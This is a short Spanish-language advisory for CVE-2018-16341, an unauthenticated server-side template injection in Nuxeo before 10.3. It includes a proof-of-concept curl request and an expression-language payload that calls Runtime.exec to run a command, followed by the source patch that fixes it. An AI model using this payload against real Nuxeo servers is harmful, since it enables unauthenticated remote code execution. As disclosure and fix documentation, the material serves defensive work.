
CVE-2018-16341 - Ejecución remota de código en Nuxeo sin autenticación mediante inyección de plantillas del lado del servidor
Bypass de autenticación de Nuxeo y ejecución remota de código < 10.3 mediante un SSTI - CVE-2018-16341

Análisis detallado (no en inglés):
Aviso de seguridad:
Nota: La versión 9.x de Nuxeo ya no es compatible con Nuxeo, pero se ha proporcionado un hotfix para la versión 9.x. En mi caso, la versión 9.10 era vulnerable.
Este PoC explota una inyección de plantillas del lado del servidor (SSTI) para lograr el RCE ubicado en el archivo NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Solución
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}